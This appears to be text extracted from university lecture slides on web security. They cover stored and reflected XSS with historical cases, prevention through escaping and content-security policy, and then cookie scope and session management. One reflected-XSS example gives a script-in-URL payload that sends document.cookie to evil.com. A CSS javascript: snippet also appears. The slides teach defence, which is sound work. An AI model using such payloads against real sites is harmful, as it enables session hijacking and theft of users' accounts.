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SQL Injection Demo



XSS Attacks



Top web vulnerabilities
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Cross-site scripting attack 
(XSS)

• Attacker injects a malicious script into the  
webpage viewed by a victim user
■ Script runs in user’s browser with access to page’s 

data

• The same-origin policy does not prevent XSS



Two main types of XSS

• Stored XSS: attacker leaves Javascript lying around on 
benign web service for victim to load

• Reflected XSS: attacker gets user to click on 
specially-crafted URL with script in it, web service 
reflects it back



Stored (or persistent) XSS
• The attacker manages to store a malicious script at 

the web server, e.g., at bank.com 
• The server later unwittingly sends script to a 

victim’s browser
• Browser runs script in the same origin as the  
bank.com server



Demo + fix
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XSS subverts the
same origin policy

• Attack happens within the same origin
• Attacker tricks a server (e.g., bank.com) to send 

malicious script ot users
• User visits to bank.com

Malicious script has origin of bank.com so it is permitted to 
access the resources on bank.com



MySpace.com   (Samy worm)

• Users can post HTML on their pages
■ MySpace.com ensures HTML contains no

<script>, <body>, onclick, <a href=javascript://>

■ …  but can do Javascript within CSS tags:
<div style=“background:url(‘javascript:alert(1)’)”>

• With careful Javascript hacking, Samy worm infects 
anyone who visits an infected MySpace page   
■ …    and adds Samy as a friend.

■ Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html



Twitter XSS vulnerability
User figured out how to send a tweet that would 
automatically be retweeted by all followers using vulnerable 
TweetDeck apps. 



Stored XSS using images

Suppose   pic.jpg   on web server contains HTML !

•  request for    http://site.com/pic.jpg    results in:

      HTTP/1.1  200 OK
      …
      Content-Type:  image/jpeg

      <html>  fooled ya   </html>

• IE will render this as HTML    (despite Content-Type)

• Consider photo sharing sites that support image uploads

• What if attacker uploads an “image” that is a script?



Reflected XSS
• The attacker gets the victim user to visit a URL for 
bank.com that embeds a malicious Javascript or 
malicious content

• The server echoes it back to victim user in its 
response

• Victim’s browser executes the script within the same 
origin as bank.com
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Example of How
Reflected XSS Can Come About

• User input is echoed into HTML response.
• Example: search field

■ http://bank.com/search.php?term=apple

■ search.php  responds with
<HTML>  <TITLE> Search Results </TITLE>
<BODY>
Results for $term :
. . .
</BODY> </HTML>

How does an attacker who gets you to visit 
evil.com exploit this?



Injection Via Script-in-URL

• Consider this link on evil.com: (properly URL encoded)

http://bank.com/search.php?term=
<script> window.open(

"http://evil.com/?cookie = " + 
document.cookie ) </script>

What if user clicks on this link?
1) Browser goes to bank.com/search.php?...
2) bank.com returns

  <HTML> Results for <script> … </script> …

3) Browser executes script in same origin as bank.com
Sends to evil.com  the cookie  for bank.com



            2006 Example Vulnerability

• Attackers contacted users via email and fooled them into 
accessing a particular URL hosted on the legitimate PayPal 
website. 

• Injected code redirected PayPal visitors to a page warning users 
their accounts had been compromised. 

• Victims were then redirected to a phishing site and prompted to 
enter sensitive financial data.

Source: http://www.acunetix.com/news/paypal.htm

https://www.paypal.com/cgi-bin/webscr?cmd=_home


Trump’s site hacked around elecions … 
apparently reflected XSS!!!!



You could insert anything you wanted in the headlines by 
typing it into the URL – a form of reflected XSS



Reflected XSS: Summary
• Target: user with Javascript-enabled browser who visits a 

vulnerable web service that will include parts of URLs it 
receives in the web page output it generates

• Attacker goal: run script in user’s browser with same 
access as provided to server’s regular scripts (subvert 
SOP = Same Origin Policy)

• Attacker tools: ability to get user to click on a 
specially-crafted URL; optionally, a server used to receive 
stolen information such as cookies

• Key trick: server fails to ensure that output it generates 
does not contain embedded scripts other than its own



How to prevent XSS?



Preventing XSS

• Input validation: check that inputs are of expected 
form (whitelisting)
■ Avoid blacklisting; it doesn’t work well

• Output escaping: escape dynamic data before 
inserting it into HTML

Web server must perform:



Output escaping
■ HTML parser looks for special characters: < > & ” ’ 

• <html>, <div>, <script>
• such sequences trigger actions, e.g., running script

■ Ideally, user-provided input string should not contain 
special chars

■ If one wants to display these special characters in a 
webpage without the parser triggering action, one 
has to escape the parser Character Escape sequence

< &lt;    

> &gt;   

& &amp   

“ &quot;  

‘ &#39;



Direct vs escaped embedding

Attacker input:
<script>
…
</script>

<html>
Comment: 

</html> 

<html>
Comment: 

</html> 

direct

escaped

<script>
…
</script>

&lt;script&gt;
…
&lt;/script&gt;

browser 
rendering

browser 
rendering

Attack! Script 
runs!

Comment: 
<script>
…
</script>

Script does not run but 
gets displayed!



Escape user input!



XSS prevention (cont’d): 
Content-security policy (CSP)

• Have web server supply a whitelist of the scripts 
that are allowed to appear on a page
■ Web developer specifies the domains the browser should 

allow for executable scripts, disallowing all other scripts 
(including inline scripts)

• Can opt to globally disallow script execution



Summary

• XSS: Attacker injects a malicious script into the  
webpage viewed by a victim user
■ Script runs in user’s browser with access to page’s 

data
■ Bypasses the same-origin policy

• Fixes: validate/escape input/output, use CSP



Session management



HTTP is mostly stateless

• Apps do not typically store persistent state in client 
browsers

■ User should be able to login from any browser
• Web application servers are generally "stateless": 

■ Most web server applications maintain no information in 
memory from request to request 
• Information typically stored in databases

■ Each HTTP request is independent; server can't tell if 2 
requests came from the same browser or user. 

• Statelessness not always convenient for application 
developers: need to tie together a series of requests from 
the same user



HTTP cookies





• A way of maintaining state

Cookies 

Brows
er GET …

 Server

Browser maintains cookie jar

http response contains



Setting/deleting cookies by server

• The first time a browser connects to a particular web server, 
it has no cookies for that web server

• When the web server responds, it includes a Set-Cookie: 
header that defines a cookie 

• Each cookie is just a name-value pair 

GET …

HTTP Header:
   Set-cookie: NAME=VALUE ;

 Server



View a cookie

In a web console (firefox, tool->web developer->web console), type 
         document.cookie
to see the cookie for that site



Cookie policy

• A cookie can be accessed in mostly two ways:
■ When a user visits a site, the user’s browser sends 

automatically relevant cookies 
■ Javascript can access it via document.cookie

• The cookie policy specifies which cookies will be sent 
by the browser to which sites

• Cookie policy is different from same-origin policy



scope

Cookie scope

• When the browser connects to the same server later, it 
includes a Cookie: header containing the name and value, 
which the server can use to connect related requests.

• Domain and path inform the browser about which sites to 
send this cookie to

GET …

HTTP Header:
   Set-cookie: NAME=VALUE ;

domain = (when to send) ;
path = (when to send)

 Server



HTTP Header:
   Set-cookie: NAME=VALUE ;

domain = (when to send) ;
path = (when to send)
secure = (only send over HTTPS);

Cookie scope

GET …
 Server

• Secure: sent over https only 

• https provides secure communication (privacy and 
integrity) 



scope

Cookie scope

GET …

HTTP Header:
   Set-cookie: NAME=VALUE ;

domain = (when to send) ;
path = (when to send)
secure = (only send over SSL);
expires = (when expires) ;
HttpOnly 

 Server

• Expires is expiration date

• Delete cookie by setting “expires” to date in past

• HttpOnly: cookie cannot be accessed by Javascript, but only 
sent by browser



Cookie scope

• Scope of cookie might not be the same as the 
URL-host name of the web server setting it

Rules on:
1. What scopes a URL-host name is allowed to set
2. When a cookie is sent to a URL



What scope a server may set for a cookie

domain:   any domain-suffix of URL-hostname, except TLD

example:     host = “login.site.com”

⇒   login.site.com can set cookies for all of 
.site.com 
but not for another site  or  TLD

Problematic for sites like   .berkeley.edu

path:  can be set to anything

allowed domains
login.site.com

.site.com

disallowed domains
user.site.com
othersite.com

.com

[top-level domains, 
e.g. ‘.com’]

The browser checks if the server may set the cookie, and if not, it will 
not accept the cookie. 



When browser sends cookie

Browser sends all cookies in URL scope:

• cookie-domain is domain-suffix of URL-domain, and

• cookie-path is prefix of URL-path, and

• [protocol=HTTPS  if cookie is “secure”]

GET  //URL-domain/URL-path
Cookie:  NAME = VALUE

 Server

Goal:  server only sees cookies in its scope



When browser sends cookie

GET  //URL-domain/URL-path
Cookie:  NAME = VALUE

 Server

A cookie with 
   domain = example.com, and 
   path = /some/path/ 
will be included on a request to 
   http://foo.example.com/some/path/subdirectory/hello.txt 



Examples: Which cookie will be sent?

cookie 1
name = userid
value = u1
domain = login.site.com
path = /
non-secure

cookie 2
name = userid
value = u2
domain = .site.com
path = /
non-secure

http://checkout.site.com/

http://login.site.com/

http://othersite.com/

cookie: userid=u2

cookie: userid=u1, userid=u2

cookie: none



Examples

http://checkout.site.com/

http://login.site.com/

https://login.site.com/

cookie 1
name = userid
value = u1
domain = login.site.com
path = /
secure

cookie 2
name = userid
value = u2
domain = .site.com
path = /
non-secure

cookie: userid=u2

cookie: userid=u2

cookie: userid=u1; userid=u2
(arbitrary order)



Examples

Credits: The Tangled Web: A Guide to Securing Modern Web Applications, by Michał Zalewski
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will be sent to

domain

Web server at foo.example.com wants to set cookie with domain:
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Client side read/write:     document.cookie

• Setting a cookie in Javascript:
 document.cookie = “name=value;  expires=…; ”

• Reading a cookie:   alert(document.cookie)
prints string containing all cookies available for 

document    (based on [protocol], domain, path)

• Deleting a cookie:
document.cookie =  “name=;  expires= Thu, 

01-Jan-70”

document.cookie often used to customize page in Javascript



Viewing/deleting cookies in Browser UI

Firefox: Tools -> page info -> security -> view cookies


